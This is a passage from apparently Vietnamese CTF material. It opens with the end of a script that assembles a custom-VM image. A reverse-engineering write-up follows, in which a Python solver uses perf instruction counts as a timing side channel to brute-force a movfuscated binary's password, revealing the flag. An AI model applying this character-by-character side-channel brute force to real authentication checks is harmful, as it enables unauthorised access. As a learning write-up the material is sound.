OR(GENERAL[6], NUM_CONST[2], GENERAL[6]),
OR(GENERAL[6], NUM_CONST[1], GENERAL[6]),
XOR(GENERAL[5], GENERAL[6], OUTPUT_OFF + 1),
ADD(INPUT_OFF + 7, NUM_CONST[2], GENERAL[5]),
XOR(GENERAL[6], GENERAL[6], GENERAL[6]),
OR(GENERAL[6], NUM_CONST[6], GENERAL[6]),
OR(GENERAL[6], NUM_CONST[3], GENERAL[6]),
OR(GENERAL[6], NUM_CONST[2], GENERAL[6]),
XOR(GENERAL[5], GENERAL[6], OUTPUT_OFF + 2),
ADD(INPUT_OFF + 6, NUM_CONST[3], GENERAL[5]),
XOR(GENERAL[6], GENERAL[6], GENERAL[6]),
OR(GENERAL[6], NUM_CONST[6], GENERAL[6]),
OR(GENERAL[6], NUM_CONST[3], GENERAL[6]),
OR(GENERAL[6], NUM_CONST[1], GENERAL[6]),
XOR(GENERAL[5], GENERAL[6], OUTPUT_OFF + 3),
ADD(INPUT_OFF + 5, NUM_CONST[4], GENERAL[5]),
XOR(GENERAL[6], GENERAL[6], GENERAL[6]),
OR(GENERAL[6], NUM_CONST[6], GENERAL[6]),
OR(GENERAL[6], NUM_CONST[3], GENERAL[6]),
XOR(GENERAL[5], GENERAL[6], OUTPUT_OFF + 4),
ADD(INPUT_OFF + 4, NUM_CONST[5], GENERAL[5]),
XOR(GENERAL[6], GENERAL[6], GENERAL[6]),
OR(GENERAL[6], NUM_CONST[6], GENERAL[6]),
OR(GENERAL[6], NUM_CONST[2], GENERAL[6]),
OR(GENERAL[6], NUM_CONST[1], GENERAL[6]),
XOR(GENERAL[5], GENERAL[6], OUTPUT_OFF + 5),
ADD(INPUT_OFF + 3, NUM_CONST[4], GENERAL[5]),
XOR(GENERAL[6], GENERAL[6], GENERAL[6]),
OR(GENERAL[6], NUM_CONST[6], GENERAL[6]),
OR(GENERAL[6], NUM_CONST[2], GENERAL[6]),
XOR(GENERAL[5], GENERAL[6], OUTPUT_OFF + 6),
ADD(INPUT_OFF + 2, NUM_CONST[3], GENERAL[5]),
XOR(GENERAL[6], GENERAL[6], GENERAL[6]),
OR(GENERAL[6], NUM_CONST[6], GENERAL[6]),
OR(GENERAL[6], NUM_CONST[1], GENERAL[6]),
XOR(GENERAL[5], GENERAL[6], OUTPUT_OFF + 7),
ADD(INPUT_OFF + 1, NUM_CONST[2], GENERAL[5]),
XOR(GENERAL[6], GENERAL[6], GENERAL[6]),
OR(GENERAL[6], NUM_CONST[6], GENERAL[6]),
XOR(GENERAL[5], GENERAL[6], OUTPUT_OFF + 8),
ADD(INPUT_OFF, NUM_CONST[1], GENERAL[5]),
XOR(GENERAL[6], GENERAL[6], GENERAL[6]),
OR(GENERAL[6], NUM_CONST[5], GENERAL[6]),
OR(GENERAL[6], NUM_CONST[4], GENERAL[6]),
OR(GENERAL[6], NUM_CONST[3], GENERAL[6]),
OR(GENERAL[6], NUM_CONST[2], GENERAL[6]),
OR(GENERAL[6], NUM_CONST[1], GENERAL[6]),
XOR(GENERAL[5], GENERAL[6], OUTPUT_OFF + 9),
END()
]
def flatten(list_of_lists):
if len(list_of_lists) == 0:
return list_of_lists
if isinstance(list_of_lists[0], list):
return flatten(list_of_lists[0]) + flatten(list_of_lists[1:])
return list_of_lists[:1] + flatten(list_of_lists[1:])
total = initCORE()
total += flatten(initTEXT())
total += [0] * (65536 - len(total))
with open("image.bin", "wb") as f:
pickle.dump(total, f)
eMOVtional damage (RE)
- Độ khó dự kiến HARD
- Số team giải được: 1
Overview
Khi chạy thử chương trình, ta biết được đây sẽ check password có phải flag không:
~/c/w/e/public> ./main
Enter your password:
1234
Incorrect
Load thử binary với IDA (free), ta được một mớ như sau:
→ Có thể thấy được chương trình đã bị làm rối (obfuscate) khá nặng, tuy nhiên debug symbol vẫn còn (các tên biến vẫn còn được giữ nguyên)
Qua tab function, ta thấy có 1 hàm check
khá nghi ngờ
Ở đây ta sẽ thấy 1 điều khá đặc biệt: ngoài MOV, chương trình còn có những instruction rẽ nhánh như CMP và JNZ. Ngoài ra, các node khá tương tự nhau (nếu ko JUMP (có thể là thoả điều kiện gì đó) thì sẽ thực thi node kế tiếp, và ngược lại sẽ nhảy thẳng tới một Node X chung ở cuối hàm → kết thúc hàm check)
→ Chương trình sẽ kiểm tra từng ký tự một, nếu đến ký tự thứ i mà sai thì sẽ kết thúc và in “Incorrect”
Để dễ hình dung thì mình sẽ compile 1 file mẫu và show thử 1 cái graph tương tự như trên (không bị obfuscate):
bool check(char* input) {
if (input[0] == 'a' && input[1] == 'b' && input[2] == 'c' && input[3] == 'd') {
return true;
} else return false;
}
int main() {
check("abcd");
}
Approach
Từ nhận xét trên, ta thấy được để check một ký tự phải cần đến 1 lượng lớn instruction → Một lỗ hổng để thực hiện Timing attack (1 dạng của Side channel attack)
Ví dụ: Ở ký tự đầu tiên, nếu ta nhập sai, chương trình hiển thị incorrect và tốn 1 khoảng thời gian là X. Nhưng nếu ký tự đầu tiên đúng, và ký tự thứ 2 sai thì thời gian sẽ xấp xỉ X + số instruction cho việc check ký tự thứ 2 * thời gian để chạy 1 instruction.
Do thời gian chạy khá sát nhau, ta cần 1 phần mềm phân tích chuyên sâu hơn: perf
https://perf.wiki.kernel.org/index.php/Main_Page
Với perf
, ta có thể analyze tới mức số lượng instruction đã được chạy (xấp xỉ) như sau:
~/c/w/e/source [1]> perf stat -x : -e instructions:u ./main
Enter your password:
1234
Incorrect
398275::instructions:u:1739036:100.00::
~/c/w/e/source [1]> perf stat -x : -e instructions:u ./main
Enter your password:
H123
Incorrect
398327::instructions:u:1925353:100.00::
Trong đó phần trước ::
đầu tiên sẽ là số instruction đã chạy (ta thấy khi thay ký tự đầu tiên bằng chữ H thì số này đã tăng lên → brute force và chọn ký tự có số instruction count lớn nhất!)
Solution:
from subprocess import *
import sys
#Establish the command to count the number of instructions, pipe output of command to /dev/null
command = "perf stat -x : -e instructions:u " + sys.argv[1] + " 1>/dev/null"
#Establish the empty flag
flag = ''
while True:
#Reset the highest instruction value and corresponding character
ins_count = 0
count_chr = ''
#Iteratethrough all printable chatacyers
for i in range(33, 127):
#Start a new process for the new character
target = Popen(command, stdout=PIPE, stdin=PIPE, stderr=STDOUT, shell=True)
#Give the program the new input to test, and grab the store the output of perf-stat in target_output
f = flag + chr(i)
target_output, _ = target.communicate(input=f.encode() + b'\n')
#Filter out the instruction count
instructions = int(target_output.split(b':')[0].decode())
# print(chr(i), instructions)
#Check if the new character has the highest instruction count, and if so record the instruction count and corresponding character
if instructions > ins_count:
count_chr = chr(i)
ins_count = instructions
#Add the character with the highest instruction count to flag, print it, and restart
flag += count_chr
print(flag)
~/c/w/e/source [1]> python3 solve.py ./main
H
HC
HCM
HCMU
HCMUS
HCMUS-
HCMUS-C
HCMUS-CT
HCMUS-CTF
HCMUS-CTF{
HCMUS-CTF{n
HCMUS-CTF{n0
HCMUS-CTF{n0_
HCMUS-CTF{n0_s
HCMUS-CTF{n0_st
HCMUS-CTF{n0_st4
HCMUS-CTF{n0_st4t
HCMUS-CTF{n0_st4ti
HCMUS-CTF{n0_st4tic
HCMUS-CTF{n0_st4tic_
HCMUS-CTF{n0_st4tic_j
HCMUS-CTF{n0_st4tic_ju
HCMUS-CTF{n0_st4tic_ju5
HCMUS-CTF{n0_st4tic_ju5t
HCMUS-CTF{n0_st4tic_ju5t_
HCMUS-CTF{n0_st4tic_ju5t_s
HCMUS-CTF{n0_st4tic_ju5t_s1
HCMUS-CTF{n0_st4tic_ju5t_s1d
HCMUS-CTF{n0_st4tic_ju5t_s1d3
HCMUS-CTF{n0_st4tic_ju5t_s1d3_
HCMUS-CTF{n0_st4tic_ju5t_s1d3_c
HCMUS-CTF{n0_st4tic_ju5t_s1d3_ch
HCMUS-CTF{n0_st4tic_ju5t_s1d3_ch4
HCMUS-CTF{n0_st4tic_ju5t_s1d3_ch4n
HCMUS-CTF{n0_st4tic_ju5t_s1d3_ch4nn
HCMUS-CTF{n0_st4tic_ju5t_s1d3_ch4nn3
HCMUS-CTF{n0_st4tic_ju5t_s1d3_ch4nn3l
HCMUS-CTF{n0_st4tic_ju5t_s1d3_ch4nn3l_
HCMUS-CTF{n0_st4tic_ju5t_s1d3_ch4nn3l_4
HCMUS-CTF{n0_st4tic_ju5t_s1d3_ch4nn3l_4t
HCMUS-CTF{n0_st4tic_ju5t_s1d3_ch4nn3l_4tt
HCMUS-CTF{n0_st4tic_ju5t_s1d3_ch4nn3l_4tta
HCMUS-CTF{n0_st4tic_ju5t_s1d3_ch4nn3l_4ttac
HCMUS-CTF{n0_st4tic_ju5t_s1d3_ch4nn3l_4ttack
HCMUS-CTF{n0_st4tic_ju5t_s1d3_ch4nn3l_4ttack}
Appendix
Bài này được build bằng tool movfuscator
của tác giả Christopher Domas https://github.com/xoreaxeaxeax/movfuscator
Ý tưởng thì từ cũng chính bài thuyết trình của tác giả ở hội nghị DEFCON 2015
: https://youtu.be/HlUe0TUHOIc :)) Thay vì bảo vệ chương trình 1 cách tối ưu thì ta có thể đánh vào đòn tâm lý → từ bỏ việc RE